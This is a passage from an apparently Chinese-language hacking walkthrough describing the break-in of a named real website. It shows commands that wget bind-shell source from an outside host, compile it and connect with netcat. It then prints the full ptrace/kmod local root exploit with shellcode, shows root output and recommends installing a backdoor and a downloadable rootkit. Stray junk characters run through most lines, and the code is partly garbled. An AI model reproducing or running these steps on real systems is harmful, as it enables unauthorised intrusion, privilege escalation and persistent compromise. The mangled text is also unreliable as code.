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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
. v) d7 k& B5 s" E就可以用wget这个命令来下载了,输入
Q. d) I) B8 v7 [& z2 M1 ^wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思& b5 _+ w1 P s2 v
就是下载这个shell.c到/tmp目录下,如图6
1 z# o/ b' d, V- V% c然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain3 b/ A |5 F/ G# ^
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
# g8 }* z4 S! f2 x2 q8 e* c这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天 L" _' ^8 s6 ^' _( H9 Y0 d
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
: X0 f! b5 N* p& h[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
+ j: t' u h+ r M: l A12gcc: /usr/bin/gcc5 @7 a+ z+ q/ a% P3 v- B
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
' D) y% n! N0 }" ^) I编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,+ T7 x# I6 r% B" ^! C' P( m O
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我0 J% a4 W# m8 A
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
4 z( }6 M! |* Y& z' O& F哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
" R; N6 |/ g% O6 P% U呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,, a& c) ]* H: n# \
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
5 O7 z/ v/ W; x- o' W$ _& }4 f- T(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*% c4 ~3 i% P) U; E
* Linux kernel ptrace/kmod local root exploit
' {& Z! H' K2 `*& q# c4 }7 s L2 V0 p# L/ H
* This code exploits a race condition in kernel/kmod.c, which creates7 \& s! o9 U' p5 S8 `; n$ _1 c" I. g
* kernel thread in insecure manner. This bug allows to ptrace cloned
! i) e4 D. b# Y/ }: I) B$ l* process, allowing to take control over privileged modprobe binary.7 J- q3 t+ K- Q& f
*
) W" s+ x/ M- q* Should work under all current 2.2.x and 2.4.x kernels.
5 T3 N- K( y) L u: J1 @* A( A& O* 2 i( f2 e$ Y% I$ L5 }
* I discovered this stupid bug independently on January 25, 2003, that 0 v1 F$ B5 P& [( V3 [; Z/ F
* is (almost) two month before it was fixed and published by Red Hat
, |6 p5 k* w5 }: B* and others.7 p, `# d# M E
*
1 m# M" ]3 M- N ^$ F* ]8 U& V* Wojciech Purczynski <cliph@isec.pl>
2 c. I; o! l# p8 s4 i, R% N8 ]* v*
' m3 }( S V. e8 l8 i* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*! j+ V0 @! O% m' C* T
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY9 g- g: J# e& S2 R0 h/ ^6 x
* 2 x6 J; h Q# \( W/ t) A7 |9 ?
* (c) 2003 Copyright by iSEC Security Research4 h& s' C! C% b, i7 V! J5 T
*/ #include % l6 j3 _0 a) T
#include 8 _- x! a$ _- G" ~3 n, @4 D
#include
$ g8 u% K& y* ?, P8 h#include ( k! R! J4 D) M8 `- n
#include
7 d# f# k5 Q4 y- o#include
8 @( o# p. y% V( z. W! `#include # K* R r5 i) {9 t$ r' L; l
#include 7 ]( c" j T+ z( ^4 @$ |
#include * c1 h+ K" u4 v: w
#include
! M: m, u: \0 v k- J#include
9 \. U; d6 H9 o/ Z, b#include ; ]1 s( t0 X2 t5 q0 w
#include
; q6 B; o- `% Z' [) Q$ m#include / |: i" D: m% x" E$ R2 }
#include 9 s8 K" X0 t* P! M% J) D
#include char cliphcode[] =
% j) I, M- S2 J8 X. q"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
* X `- |% O( X"\x00\x5b\x31\xc9\x89\xca\xcd\x80"* p! s) \- H0 z8 f4 u+ c- L! C6 [
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"2 O. H; N7 I' @% ]0 W$ n% y' u
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"; r8 o2 ~+ s; ~* m C
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;
( d: l0 P. j H) U5 Tpid_t child = 1;+ u) U- N% w7 ~
pid_t victim = 1;
( O: @8 [) O8 A1 m. xvolatile int gotchild = 0; void fatal(char * msg)
( C: h3 P& R. p K# e{$ S$ C" [0 V- e. p
perror(msg);
# z1 |, X# J4 I7 Wkill(parent, SIGKILL);3 j! Y J: p+ Z) e, }: r
kill(child, SIGKILL);7 L& z! a# D4 \3 _% Q* F
kill(victim, SIGKILL);/ U! l- R* x; u, i9 ]" P
} void putcode(unsigned long * dst)
# @3 R# Q( n& w v2 Q4 A8 l{9 @2 F3 U. @" e& j
char buf[MAXPATHLEN + CODE_SIZE];
% l- Y; C3 W+ i. yunsigned long * src;
; K4 `2 W/ c4 E: j4 @8 \int i, len; memcpy(buf, cliphcode, CODE_SIZE);9 k: d" S# o' P, g& \
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
0 T4 z, Y! U1 a5 f5 L# U* H# ` ]if (len == -1)
/ c4 X, j' g: `6 W' v, Afatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;, n7 ^( s, i: L2 h; }0 h% ]2 |
buf[len] = '\0'; src = (unsigned long*) buf;
6 S, j1 T( ? B9 tfor (i = 0; i < len; i += 4)
( B; D( T2 m ~0 m9 S0 e& d1 d( J2 Vif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
# v6 I' z' ~; g1 xfatal("[-] Unable to write shellcode");
$ U* C. o2 c0 g8 ^1 X+ `8 ]+ g} void sigchld(int signo)/ E8 L" W( J+ Z' x* s! }2 E
{
0 h: X' d( h1 z" ~0 r) q1 e; wstruct user_regs_struct regs; if (gotchild++ == 0)
) J8 w$ |' h" J. R& Jreturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
0 X7 [) M3 L" x" m) U; Tfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
) g4 ~$ G' |. O( w8 [% Lfatal("[-] Unable to detach from victim"); exit(0);; J3 h5 S; F' j
} void sigalrm(int signo)
+ t: C" p, R' c7 h{
: ~( M/ g' o ]# t+ d) ferrno = ECANCELED;
3 A; o9 M6 m$ T1 Q. H$ gfatal("[-] Fatal error");. \( s. l3 u. L! w* E8 @
} void do_child(void)
4 {0 d" w+ Q( L4 m{
- x4 v1 z; l1 P1 c4 X; i1 }int err; child = getpid();* O# l: D; d: r
victim = child + 1; signal(SIGCHLD, sigchld); do
) R5 W+ G3 P7 ?& g# yerr = ptrace(PTRACE_ATTACH, victim, 0, 0);/ S' ~% n; Z: }: P7 j2 j# ?5 S
while (err == -1 && errno == ESRCH); if (err == -1)5 h$ {# J: o9 f( z3 W
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
! N7 w- k) J0 ], awhile (!gotchild) ;
/ V) n' q8 h; d f! ~ Tif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)& [9 Z) J$ [) l" _) O
fatal("[-] Unable to setup syscall trace");
9 I2 [$ V$ e" |: b7 Vfprintf(stderr, "[+] Waiting for signal\n"); for(;;);. {3 o3 o K0 L
} void do_parent(char * progname)
% |' W# @" F3 j8 o{+ S, _. t, z" ]6 `, j: b5 x% K
struct stat st;, I9 p+ Y4 n& v9 h
int err;% `3 \' m, K$ Q( p
errno = 0;
: E( H; y, `2 C2 X6 N# W) `# J) jsocket(AF_SECURITY, SOCK_STREAM, 1);
. c E# V, c3 S1 ?- ?2 a9 Y! ydo {
# l# y4 H* f* t7 Merr = stat(progname, &st);
/ q0 [1 Z3 B4 v+ H$ i} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
: d( o9 ^& r3 `fatal("[-] Unable to stat myself"); alarm(0);% q7 O4 i+ p5 `& k! U, _# ^
system(progname);" G8 m1 P5 L0 o6 Z" D4 w
} void prepare(void)
/ v: a8 \, j9 w{0 P' r' q' [( V' M
if (geteuid() == 0) {
8 ^% ^: P" c) \initgroups("root", 0);0 J& q# `6 X2 t" d& L4 l1 c
setgid(0);1 A' w4 o7 W* j8 j( O& o1 h
setuid(0);
4 e0 }$ P) E6 t$ q" jexecl(_PATH_BSHELL, _PATH_BSHELL, NULL);. ^. V# k9 ^6 p, c
fatal("[-] Unable to spawn shell");
. b5 m4 V, U8 _+ D- w- F/ U}
+ X7 c- T( k/ g) E} int main(int argc, char ** argv)) ?* u* v, d( o4 x' P0 i
{& _- k% \! C& X
prepare();3 b/ S" {+ F8 R; K
signal(SIGALRM, sigalrm);* X# m" o% x8 v% g8 ~ q
alarm(10); parent = getpid();2 v5 r; y' @; j% N* s! P5 u7 d
child = fork();1 d% \+ Y/ U/ f/ c. ` |
victim = child + 1; if (child == -1)
2 i7 g+ J0 Y, z' V- z: k, B- Nfatal("[-] Unable to fork"); if (child == 0)& |1 F+ ~' O" X$ k7 b! U5 W
do_child();$ ?; X! w* n5 {, W! x9 }' L
else
6 i, g; {; t0 p. H4 @9 {, z8 m9 x' Cdo_parent(argv[0]); return 0;2 U3 J% O& x6 z9 P
}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |